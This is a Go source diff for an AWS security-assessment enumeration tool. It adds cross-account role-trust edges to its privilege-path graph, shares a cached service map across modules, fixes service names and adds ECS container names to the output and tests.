continue
|
||||
}
|
||||
// now let's see if there is a path from this source to our destination
|
||||
|
||||
path, _ := graph.ShortestPath(m.GlobalGraph, s, d)
|
||||
// if we have a path, then lets document this source as having a path to our destination
|
||||
if path != nil {
|
||||
@@ -235,7 +242,7 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
|
||||
privescPathsBody = append(privescPathsBody, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
s,
|
||||
magenta(d),
|
||||
d,
|
||||
magenta(destinationVertexWithProperties.Attributes["IsAdminString"]),
|
||||
paths})
|
||||
} else {
|
||||
@@ -289,7 +296,7 @@ func ConvertIAMRoleToNode(role types.Role, vendors *knownawsaccountslookup.Vendo
|
||||
|
||||
TrustedPrincipals = append(TrustedPrincipals, TrustedPrincipal{
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
VendorName: vendorName,
|
||||
//IsAdmin: false,
|
||||
//CanPrivEscToAdmin: false,
|
||||
@@ -650,6 +657,48 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
}
|
||||
}
|
||||
|
||||
// if the role trusts a principal in another account explicitly, then the principal can assume the role
|
||||
if thisAccount != trustedPrincipalAccount {
|
||||
// make a CAN_ASSUME relationship between the trusted principal and this role
|
||||
|
||||
err := GlobalGraph.AddEdge(
|
||||
TrustedPrincipal.TrustedPrincipal,
|
||||
a.Arn,
|
||||
//graph.EdgeAttribute("AssumeRole", "Cross account explicit trust"),
|
||||
graph.EdgeAttribute("AssumeRole", "can assume (because of an explicit cross account trust) "),
|
||||
)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
//fmt.Println(TrustedPrincipal.TrustedPrincipal + a.Arn + "Cross account explicit trust")
|
||||
if err == graph.ErrEdgeAlreadyExists {
|
||||
// update the edge by copying the existing graph.Edge with attributes and add the new attributes
|
||||
//fmt.Println("Edge already exists")
|
||||
|
||||
// get the existing edge
|
||||
existingEdge, _ := GlobalGraph.Edge(TrustedPrincipal.TrustedPrincipal, a.Arn)
|
||||
// get the map of attributes
|
||||
existingProperties := existingEdge.Properties
|
||||
// add the new attributes to attributes map within the properties struct
|
||||
// Check if the Attributes map is initialized, if not, initialize it
|
||||
if existingProperties.Attributes == nil {
|
||||
existingProperties.Attributes = make(map[string]string)
|
||||
}
|
||||
|
||||
// Add or update the attribute
|
||||
existingProperties.Attributes["AssumeRole"] = "can assume (because of an explicit cross account trust) "
|
||||
err = GlobalGraph.UpdateEdge(
|
||||
TrustedPrincipal.TrustedPrincipal,
|
||||
a.Arn,
|
||||
graph.EdgeAttributes(existingProperties.Attributes),
|
||||
)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// If the role trusts a principal in this account or another account using the :root notation, then we need to iterate over all of the rows in AllPermissionsRows to find the principals that have sts:AssumeRole permissions on this role
|
||||
// if the role we are looking at trusts root in it's own account
|
||||
|
||||
@@ -667,6 +716,7 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
if PermissionsRowAccount == thisAccount {
|
||||
// lets only look for rows that have sts:AssumeRole permissions
|
||||
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
|
||||
|
||||
// lets only focus on rows that have an effect of Allow
|
||||
if strings.EqualFold(PermissionsRow.Effect, "Allow") {
|
||||
// if the resource is * or the resource is this role arn, then this principal can assume this role
|
||||
@@ -820,10 +870,10 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
fmt.Sprintf("Could not get account number from this PermissionsRow%s", PermissionsRow.Arn)
|
||||
}
|
||||
if PermissionsRowAccount == trustedPrincipalAccount {
|
||||
// lets only look for rows that have sts:AssumeRole permissions
|
||||
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
|
||||
// lets only look for rows that have sts:AssumeRole permis sions
|
||||
if policy.MatchesAfterExpansion("sts:AssumeRole", PermissionsRow.Action) {
|
||||
// if strings.EqualFold(PermissionsRow.Action, "sts:AssumeRole") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "*") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "*") {
|
||||
// strings.EqualFold(PermissionsRow.Action, "sts:Assume*") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "sts:*") {
|
||||
// lets only focus on rows that have an effect of Allow
|
||||
@@ -979,3 +1029,21 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// function to read file specified in CapeArnIgnoreList which is separated by newlines, and convert it to a slice of strings with each line as an entry in the slice.
|
||||
// the function accepts a string with the filename
|
||||
|
||||
func ReadArnIgnoreListFile(filename string) ([]string, error) {
|
||||
var arnIgnoreList []string
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return arnIgnoreList, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
arnIgnoreList = append(arnIgnoreList, scanner.Text())
|
||||
}
|
||||
return arnIgnoreList, scanner.Err()
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
|
||||
@@ -26,6 +27,7 @@ func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.G
|
||||
Caller: caller,
|
||||
AWSProfileProvided: AWSProfile,
|
||||
Goroutines: Goroutines,
|
||||
modLog: internal.TxtLog.WithFields(logrus.Fields{"module": "iam-simulator"}),
|
||||
}
|
||||
|
||||
return iamSimMod
|
||||
|
||||
@@ -28,6 +28,7 @@ type CloudformationModule struct {
|
||||
WrapTable bool
|
||||
AWSOutputType string
|
||||
AWSTableCols string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
CFStacks []CFStack
|
||||
@@ -192,8 +193,12 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputDirectory string,
|
||||
|
||||
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
|
||||
if err != nil {
|
||||
|
||||
+7
-2
@@ -29,6 +29,7 @@ type CodeBuildModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -211,8 +212,12 @@ func (m *CodeBuildModule) PrintCodeBuildProjects(outputDirectory string, verbosi
|
||||
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("codebuild", r)
|
||||
if err != nil {
|
||||
|
||||
+7
-2
@@ -30,6 +30,7 @@ type DatabasesModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Databases []Database
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -231,8 +232,12 @@ func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan boo
|
||||
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer wg.Done()
|
||||
|
||||
serviceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
serviceMap := m.ServiceMap
|
||||
if serviceMap == nil {
|
||||
serviceMap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
m.executeRdsCheck(r, wg, semaphore, dataReceiver, serviceMap) // Also returns Neptune and DocDB
|
||||
m.executeRedshiftCheck(r, wg, semaphore, dataReceiver, serviceMap)
|
||||
|
||||
@@ -31,7 +31,8 @@ type DirectoryModule struct {
|
||||
AWSProfileProvided string
|
||||
AWSProfileStub string
|
||||
CloudFoxVersion string
|
||||
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Directories []Directory
|
||||
CommandCounter internal.CommandCounter
|
||||
output internal.OutputData2
|
||||
@@ -190,10 +191,14 @@ func (m *DirectoryModule) PrintDirectories(outputDirectory string, verbosity int
|
||||
func (m *DirectoryModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Directory) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("clouddirectory", r)
|
||||
res, err := servicemap.IsServiceInRegion("directoryservice", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
+7
-2
@@ -30,6 +30,7 @@ type ECRModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Repositories []Repository
|
||||
@@ -197,8 +198,12 @@ func (m *ECRModule) PrintECR(outputDirectory string, verbosity int) {
|
||||
func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecr", r)
|
||||
if err != nil {
|
||||
|
||||
+25
-4
@@ -35,6 +35,7 @@ type ECSTasksModule struct {
|
||||
Goroutines int
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -50,6 +51,7 @@ type MappedECSTask struct {
|
||||
Cluster string
|
||||
TaskDefinitionName string
|
||||
TaskDefinitionContent string
|
||||
ContainerName string
|
||||
LaunchType string
|
||||
ID string
|
||||
ExternalIP string
|
||||
@@ -145,6 +147,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
"Account",
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
@@ -171,6 +174,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
"Account",
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
@@ -184,6 +188,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
tableCols = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
@@ -206,6 +211,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
aws.ToString(m.Caller.Account),
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinitionName,
|
||||
ecsTask.ContainerName,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
@@ -302,8 +308,12 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedECSTask) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecs", r)
|
||||
if err != nil {
|
||||
@@ -368,7 +378,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
return
|
||||
}
|
||||
|
||||
eniIDs := []string{}
|
||||
var eniIDs []string
|
||||
for _, task := range Tasks {
|
||||
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
|
||||
if eniID != "" {
|
||||
@@ -394,6 +404,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
Cluster: getNameFromARN(clusterARN),
|
||||
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
|
||||
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
|
||||
ContainerName: getContainerNamesFromECSTask(task),
|
||||
LaunchType: string(task.LaunchType),
|
||||
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
|
||||
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
|
||||
@@ -505,8 +516,18 @@ func getIDFromECSTask(arn string) string {
|
||||
return tokens[2]
|
||||
}
|
||||
|
||||
func getContainerNamesFromECSTask(task types.Task) string {
|
||||
var names []string
|
||||
|
||||
for _, container := range task.Containers {
|
||||
names = append(names, aws.ToString(container.Name))
|
||||
}
|
||||
|
||||
return strings.Join(names, "|")
|
||||
}
|
||||
|
||||
func getPrivateIPv4AddressFromECSTask(task types.Task) string {
|
||||
ips := []string{}
|
||||
var ips []string
|
||||
|
||||
for _, attachment := range task.Attachments {
|
||||
if aws.ToString(attachment.Type) != "ElasticNetworkInterface" || aws.ToString(attachment.Status) != "ATTACHED" {
|
||||
|
||||
@@ -23,7 +23,6 @@ func TestECSTasks(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ECSTasksModule{
|
||||
|
||||
AWSProfile: "default",
|
||||
AWSRegions: []string{"us-east-1", "us-west-1"},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests")},
|
||||
@@ -33,10 +32,11 @@ func TestECSTasks(t *testing.T) {
|
||||
ECSClient: &sdk.MockedECSClient{},
|
||||
},
|
||||
expectedResult: []MappedECSTask{{
|
||||
Cluster: "MyCluster",
|
||||
ID: "74de0355a10a4f979ac495c14EXAMPLE",
|
||||
ExternalIP: "203.0.113.12",
|
||||
Role: "test123",
|
||||
Cluster: "MyCluster",
|
||||
ID: "74de0355a10a4f979ac495c14EXAMPLE",
|
||||
ContainerName: "web",
|
||||
ExternalIP: "203.0.113.12",
|
||||
Role: "test123",
|
||||
}},
|
||||
},
|
||||
}
|
||||
@@ -48,6 +48,9 @@ func TestECSTasks(t *testing.T) {
|
||||
if expectedTask.Cluster != subtest.testModule.MappedECSTasks[index].Cluster {
|
||||
log.Fatal("Cluster name does not match expected value")
|
||||
}
|
||||
if expectedTask.ContainerName != subtest.testModule.MappedECSTasks[index].ContainerName {
|
||||
log.Fatal("Container name does not match expected value")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
+7
-2
@@ -32,6 +32,7 @@ type EKSModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -242,8 +243,12 @@ func (m *EKSModule) EKS(outputDirectory string, verbosity int) {
|
||||
func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("eks", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -27,6 +27,7 @@ type ElasticNetworkInterfacesModule struct {
|
||||
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
MappedENIs []MappedENI
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -233,8 +234,12 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
|
||||
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
|
||||
+50
-55
@@ -63,6 +63,7 @@ type EndpointsModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Endpoints []Endpoint
|
||||
@@ -105,7 +106,7 @@ func (m *EndpointsModule) PrintEndpoints(outputDirectory string, verbosity int)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
//fire up the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
@@ -267,8 +268,12 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
// <-semaphore
|
||||
// }()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
@@ -288,7 +293,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getEksClustersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("mq", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -297,7 +302,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getMqBrokersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -315,7 +320,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
m.getGrafanaEndPointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -328,7 +333,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getELBListenersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err = servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -373,7 +378,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -447,7 +452,7 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
|
||||
FunctionDetails, err := sdk.CachedLambdaGetFunctionUrlConfig(m.LambdaClient, aws.ToString(m.Caller.Account), r, name)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -503,7 +508,7 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -576,7 +581,7 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -629,36 +634,27 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
for _, domainName := range DomainNames {
|
||||
name := aws.ToString(domainName.DomainName)
|
||||
|
||||
//TODO: convert this to cacehd function
|
||||
DomainNameDetails, err := m.OpenSearchClient.DescribeDomain(
|
||||
context.TODO(),
|
||||
&(opensearch.DescribeDomainInput{
|
||||
DomainName: &name,
|
||||
}),
|
||||
func(o *opensearch.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
DomainStatus, err := sdk.CachedOpenSearchDescribeDomain(m.OpenSearchClient, aws.ToString(m.Caller.Account), r, name)
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
raw_endpoint := DomainNameDetails.DomainStatus.Endpoint
|
||||
rawEndpoint := DomainStatus.Endpoint
|
||||
var endpoint string
|
||||
var kibana_endpoint string
|
||||
var kibanaEndpoint string
|
||||
|
||||
// This exits the function if an opensearch domain exists but there is no endpoint
|
||||
if raw_endpoint == nil {
|
||||
if rawEndpoint == nil {
|
||||
return
|
||||
} else {
|
||||
|
||||
endpoint = fmt.Sprintf("https://%s", aws.ToString(raw_endpoint))
|
||||
kibana_endpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(raw_endpoint))
|
||||
endpoint = fmt.Sprintf("https://%s", aws.ToString(rawEndpoint))
|
||||
kibanaEndpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(rawEndpoint))
|
||||
}
|
||||
|
||||
//fmt.Println(endpoint)
|
||||
@@ -689,7 +685,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
AWSService: "OpenSearch",
|
||||
Region: r,
|
||||
Name: name,
|
||||
Endpoint: kibana_endpoint,
|
||||
Endpoint: kibanaEndpoint,
|
||||
Port: 443,
|
||||
Protocol: "https",
|
||||
Public: public,
|
||||
@@ -788,7 +784,7 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -943,7 +939,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -956,7 +952,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1005,7 +1001,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
name := aws.ToString(api.Name)
|
||||
id := aws.ToString(api.Id)
|
||||
raw_endpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
|
||||
rawEndpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
|
||||
var port int32 = 443
|
||||
protocol := "https"
|
||||
|
||||
